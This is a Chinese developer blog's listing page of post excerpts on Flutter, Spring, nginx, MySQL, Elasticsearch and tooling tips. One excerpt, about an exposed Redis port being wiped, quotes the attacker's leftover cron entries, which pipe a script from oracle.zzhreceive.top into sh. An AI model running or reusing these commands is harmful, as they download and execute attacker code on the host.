- 博客(114)
- 资源 (9)
- 收藏
- 关注
原创 Flutter 项目设置 Flutter 版本
即便使用了 fvm 设置了版本,AdroidStudio Setting 中如果不修改路径,Editor 依然会编译错误。目前还没看懂如何通过命令、文件来记录AdroidStudio Setting中的设置。
2024-06-19 15:29:47 284
原创 macos 上彻底卸载 DevEco Studio
`~/Library/Preferences/`:查找以`com.huawei.deveco.studio`或类似名称开头的.plist文件,将其删除。- `~/Library/Saved Application State/`:查找与DevEco Studio相关的保存状态文件,将其删除。- `~/Library/Caches/`:查找与DevEco Studio相关的缓存文件或文件夹,将其删除。右键点击废纸篓图标并选择“清空废纸篓”以彻底删除DevEco Studio及其相关文件。
2023-11-13 10:36:03 3671 1
原创 Chrome开发者工具对于异常请求不显示Response内容
在请求上右键选择“Copy”→“Copy as cURL”,如下图:然后在终端中粘贴上面赋值的内容,粘贴后如下:在最后加上“--output responsefile”,如下图所示:然后打开当前目录,可以看到生成的responsefile文件,如下所示:这个文件的具体格式可以参考响应头的Content-Type,这里是json文本,如图所示:所以responsefile文件可以通过文本编辑器直接打开。如果是图片或者xml,也可以指定文件后缀名,然后打开文件,查看文件内容。..
2021-09-28 21:23:00 1870
原创 阿里云oss Referer设置
比如Referer: http://www.abc.com/则应该添加 “*.abc.com”。而如果Referer: http://abc.com/则应该设置为“http://byuezhang.com”。所以一般来说,为了匹配一个域名与子域名,应该配置两条:*.abc.comhttp://abc.com...
2021-09-25 21:48:23 912
原创 macos为flutter doctor --android-licenses配置多jdk版本
~ %>flutter doctor [Doctor summary (to see all details, run flutter doctor -v):[✓] Flutter (Channel stable, 2.2.3, on macOS 11.5.2.
2021-09-05 21:00:25 910
原创 关于表数据同步使用update_time时的注意事项
通常同步时都会有update_time字段,可是并不是所有仅仅使用语句“where update_time>'上一次的更新值'”这么简单,有一些细节需要注意。update_time可能会有多条数据重复同一个update_time。因为会有数据量比较大的情况,所以必然要分页处理,这时如果只根据update_time这一个字段来处理,那么在分页时会存在漏数据的情况。另外加一个唯一字段,比如id,但可能又有新的错误。错误的使用:where update_time>='last_updat
2021-09-01 15:44:06 1480
原创 Spring Data中什么是 Aggregate Roots
由repositories管理的实体类(entities)被称为聚合根(Aggregate Roots)。和Aggregate Roots相关的还有一个概念叫Publishing Events,发布事件?两个注解 @DomainEvents、@AfterDomainEventPublication。
2021-07-29 21:59:52 304
原创 昨天才放开redis 6379端口,今天数据就被人清掉了,还留下了backup 的四个key
先记录一下,以后有机会知道这四条数据什么意思backup1*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | shbackup2*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | shbackup3*/4 * * * * root curl -fsSL http://oracle
2021-07-27 10:39:07 4199 12
原创 Websocket 从header读取数据
Spring Boot项目。基本思路ServerEndpointConfig的属性UserProperties传递参数。(比自己创建HttpSession对象简单不少)具体操作是,首先在配置类中增加方法,从Header中取出数据,这里是取的“x-forwarded-for”的值,这是在nginx中设置到Header中的。具体代码如下:package com.donglake.booksnet.config;import com.donglake.booksnet.util.Collecti
2021-07-26 15:32:54 4740 3
原创 tail -f 命令卡住
发现原来是日志文件达到一定大小后重新创建了同名文件,所以命令追踪不到。使用 tail -F 可以解决,-F 在读取失败时会重新尝试从硬盘读取,所以能读取到新生成的日志文件。
2021-07-26 15:21:16 1281
原创 使用Lettuce执行命令,应该有多个返回值却只取到一个。
使用的是 LettuceConnection 的 execute 方法,这个方法其实有一个重载方法,如下: public Object execute(String command, byte[]... args) { return execute(command, null, args); } public Object execute(String command, @Nullable CommandOutput commandOutputTypeHint, byte[]...
2021-07-25 23:17:14 468
原创 nginx配置跨域对服务异常(包括404)时失效的解决
在location中使用 add_header 来配置支持跨域,配置如下:add_header Access-Control-Allow-Origin *;配置后正常的响应已经支持跨域,但是会发现当服务异常时(http状态码500)或者访问不存在的接口时(404)时浏览器仍然会报跨域的错误。经分析原因是 add_header 默认仅支持特定的响应状态码,包括200, 201 (1.3.10), 204, 206, 301, 302, 303, 304, 307 (1.1.16, 1.0.13)
2021-07-23 09:53:11 1878 1
原创 Hibernate getById方法 could not initialize proxy - no session
起因是代理类的创建默认懒加载了,解决方法是在发生问题的实体类上使用注解@Proxy,具体如下:import org.hibernate.annotations.Proxy;@Proxy(lazy = false)@Table(...)@Entity(...)...publi class User{ ...}
2021-07-22 16:00:22 342
原创 ES的curl常用命令
查看所有索引的信息GET _cat/indices?vcurl -X GET "localhost:9200/_cat/indices?v"查看索引test的统计信息GET _cat/indices/test?vcurl -X GET "localhost:9200/_cat/indices/test?v"查看字段的类型curl -X GET "localhost:9200/books/_mapping/field/publishDate?pretty"删除索引数据c
2021-07-12 19:08:44 608
原创 将Linux目录下的文件放到子目录中
下面是每个子目录中最多存放30000个文件,子目录命名为dir_001,dir_002...i=0;for f in *;do d=dir_$(printf %03d $((i/30000+1))); mkdir -p $d; mv -v "$f" $d; let i++;done
2021-07-09 12:50:32 287
原创 MySQL变量/参数的查看与设置
通过命令查看所有variablesshow global variables;结果如下:列表太长了!!!通过(模糊)匹配的方式查找variables,如下:show variables like "sync_binlog";输入结果如下:+---------------+-------+| Variable_name | Value |+---------------+-------+| sync_binlog | 0 |+---------------
2021-07-08 19:26:30 287
原创 MySQL 8.0设置sort_buffer_size
SET sort_buffer_size = 1024*1024———————————————————————————————————————————Java程序报错如下:java.sql.SQLException: Out of sort memory, consider increasing server sort buffer size———————————————————————————————————————————使用命令查看当前的设置:show variables li
2021-07-08 14:36:27 2881
原创 Spring Security配置放行请求,将参数放置于请求体时放行失效
配置如下: @Override public void configure(WebSecurity webSecurity){ //配置免登陆接口 webSecurity.ignoring().antMatchers( "/login/bypassword" // 登陆相关 //这里还有许多,为说明问题,把其他的都删掉了 ); }可是就是这个请求,将参数使用问号拼接时这个配置正常,但是当将参数放
2021-06-25 20:06:42 2854
原创 chrome.storage和window.localStorage的区别
window.localStorage是HTML5规范提供的,chrome.storage是Chrome浏览器提供的。window.localStorage不可以跨页面,chrome.storage可以跨页面。
2021-05-30 16:51:22 679
原创 pycharm使用pip install安装速度慢,更换镜像源
打开目录C:\Users\Administrator\AppData\Roaming\创建一个空文件夹pip并新建文件pip.ini[global]timeout = 6000 index-url = https://pypi.douban.com/simple/trusted-host = pypi.douban.com【其他镜像源推荐】清华:https://pypi.tuna.tsinghua.edu.cn/simple阿里云:http://mirrors.aliyun.co
2021-05-14 19:40:03 268
原创 一台电脑安装多个Chrome
因工作需要,在已经安装了Chromme90版本的Windows 10电脑上需要安装Chrome42版本,简单记录下过程:下载Chrome离线安装包(chromedownload.net)下载后为.exe文件,直接运行并不行,会默认打开已安装的Chrome。正确做法是解压这个.exe文件,解压出一个.7z压缩包,然后再解压,会解压出Chrome.exe和一个版本号命名的目录。把Chrome.exe放到版本号命名的目录中,并且创建一个空文件夹,文件位置任意,文件夹命名任意,这里命名为“user-
2021-05-13 15:31:01 5730
原创 JDK11使用HSDB
JDK11中没有了jre目录,也没有sa-jdi.jar。但是还是可以用的。系统管理员打开PowerShell,也可以使用cmd,差不多的。进入“jdk\bin ”这个目录,运行“jhsdb hsdb”,如下图。然后就是打开了HSDB这个熟悉的丑陋的界面。。。可以用了!!!=============================================================================================================
2021-05-05 19:29:15 1324
原创 更深入的理解动态代理——一个真正让我理解动态代理应用价值的示例
网上关于动态代理的示例很多,比如是接口A A.java接口A的实现类 AImpl.Java创建一个类型为“AImpl”的对象 AImpl aImpl = new AImpl();然后创建这个对象基于接口A的代理类对象proxy。 Proxy.newInstance(...);将proxy强转为类型A A aProxy = (A)proxy;然后调用aProxy就会调用到aImpl的实现。。。可能除了强制转换那块需要想一想外,其他的代码看起来也都很好理解,但会产生
2021-05-03 17:03:28 228
原创 IDEA的种种罪(Bug)
IDEA足够好用,足够复杂,bug也足够多。1、spring boot项目application.yaml在build时没有放到target目录下,会导致运行时无法找到配置文件。上一个项目还好好的新打开一个项目就不行了。
2021-05-02 15:47:45 227
原创 settings.xml‘ has syntax errors
起因是Idea加载项目时系统突然死机重启(win10 蓝屏),然后再加载项目也不现实src目录,通过加载模块的方式加载出了src目录,然后又报这个错误。查看了starter-parent的pom文件,发现文件结尾一对乱码,就把文件删了,然后maven reload还是不行。然后,把这两个目录删了,让maven重新下载,发现maven只下载parent,不下载dependencies,所以怀疑是配置maven错误。最后,start在IDEA 的setting中重新设置了下maven home,
2021-05-02 12:29:06 4633 1
原创 学习前端笔记
标题有六级h1~h6<p> ... </p> 段落,文字独占一行<i> ... </i> 斜体<b> ... </b> 文字加粗<br> 换行标记<hr> 水平线 空格<a href="链接地址"> target="_blank" 新页面打开 无序列表<ul type=""> disc 实心圆 circle 空心...
2021-04-08 09:30:59 90
原创 手撕源码之SpringApplication.java【Spring Boot 2.4.4】
1382行,真是又长又臭。捏着鼻子,干起来。0~86行,版权、报名和import的内容,略过。87~161行,类注释信息,还是要看一下。Class that can be used to bootstrap and launch a Spring application from a Java main method. 该类可以在main方法启动一个Spring应用程序。By default class will perform the following steps to bootstr
2021-04-06 19:45:04 227
原创 maven命令行创建项目,提示java.lang.NoClassDefFoundError: org/apache/maven/shared/invoker/MavenInvocationExcept
java.lang.NoClassDefFoundError: org/apache/maven/shared/invoker/MavenInvocationException跪了,Java11,Maven从3.5.2升级到3.6.3还是不行,没有一点头绪。这是看的maven官方文档的入门,真服。
2021-03-26 19:51:56 1183
原创 Maven scope中import的作用
(如果为了快速理解,直接看文档最后的举例。)我们不妨先看下官方文档:Dependency_Scope,关于import的说明如下:速读一遍,云里雾里的,下面一句一句来读。This scope is only supported on a dependency of type pom in the <dependencyManagement> section. 这个scope(指import)仅仅在<dependencyManagement>内部定义的pom<
2021-03-24 10:06:06 15502 4
原创 Socket通过读取数据阻塞的解决方案
写了一个简单的web后台,用socket接收并解析http请求。然而在网页发出第一次请求时总会卡住(其实是流阻塞了),刷新后可以访问。以及总是读取不到最后一部分数据。刚开始是这样写的private String getStringFromIOStream(InputStream ios){ BufferedReader reader = new BufferedReader( new InputStreamReader(ios)); StringBuilder re
2021-03-03 15:56:57 2051 2
原创 Java访问剪切板API控制台输出莫名异常
Exception "java.lang.ClassNotFoundException: com/intellij/codeInsight/editorActions/FoldingData"while constructing DataFlavor for: application/x-java-jvm-local-objectref; class=com.intellij.codeInsight.editorActions.FoldingDataException "java.lang.ClassN.
2021-03-01 19:24:52 4751 6
原创 pip install lmdb 中的错误
Downloading zipp-3.1.0-py3-none-any.whl (4.9 kB)Building wheels for collected packages: absl-py, easydict, lmdb, termcolor, wrapt, gast, pandocfilters, tornado, pyrsistent Building wheel for absl-py (setup.py) ... done Created wheel for absl-py: fi...
2020-06-10 07:59:18 3136
原创 乌班图apt添加阿里source
备份:sudo cp /etc/apt/sources.list /etc/apt/sources.list.backvim编辑list文件:sudo vim /etc/apt/sources.list文件开头添加:deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ xenial-security main
2020-06-09 09:55:14 400
neo4j-desktop-offline-1.2.4-setup.exe
2020-01-18
Gson的jar包
2016-06-25
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人